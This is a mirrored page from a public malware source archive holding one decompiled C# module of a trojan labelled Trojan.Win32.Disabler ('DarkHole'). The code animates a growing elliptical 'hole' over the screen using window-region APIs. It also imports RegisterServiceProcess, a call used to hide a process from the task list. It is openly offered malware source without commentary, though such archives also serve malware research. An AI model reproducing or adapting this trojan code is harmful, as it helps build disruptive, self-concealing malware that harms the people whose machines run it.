mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2025-01-20 00:58:52 +00:00
42 lines
1.5 KiB
C#
42 lines
1.5 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: DarkHole.MainModule
|
|||
|
// Assembly: DarkHole, Version=1.0.2863.37165, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: 004179F3-0653-4C47-86BC-65D9EC044824
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Disabler.ag-8f832a067f0cbed927d9eb2ca683e9473f989c4db136e10b5039182fc621175b.exe
|
|||
|
|
|||
|
using Microsoft.VisualBasic.CompilerServices;
|
|||
|
using System.Runtime.InteropServices;
|
|||
|
using System.Threading;
|
|||
|
|
|||
|
namespace DarkHole
|
|||
|
{
|
|||
|
[StandardModule]
|
|||
|
internal sealed class MainModule
|
|||
|
{
|
|||
|
public static ADarkHole DarkHole;
|
|||
|
|
|||
|
[DllImport("gdi32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
|
|||
|
public static extern int CreateEllipticRgn(int X1, int Y1, int X2, int Y2);
|
|||
|
|
|||
|
[DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
|
|||
|
public static extern int SetWindowRgn(int hWnd, int hRgn, bool bRedraw);
|
|||
|
|
|||
|
[DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
|
|||
|
public static extern int RegisterServiceProcess(int dwProcessID, int dwType);
|
|||
|
|
|||
|
public static void ProgressiveDarkHole()
|
|||
|
{
|
|||
|
while (MainModule.DarkHole.Elipse.Top > 0)
|
|||
|
{
|
|||
|
checked { --MainModule.DarkHole.Elipse.Top; }
|
|||
|
checked { --MainModule.DarkHole.Elipse.Left; }
|
|||
|
checked { ++MainModule.DarkHole.Elipse.Height; }
|
|||
|
checked { ++MainModule.DarkHole.Elipse.Width; }
|
|||
|
MainModule.DarkHole.DoDarkHole();
|
|||
|
Thread.Sleep(300);
|
|||
|
}
|
|||
|
MainModule.SetWindowRgn(MainModule.DarkHole.frmHole.Handle.ToInt32(), 0, true);
|
|||
|
}
|
|||
|
}
|
|||
|
}
|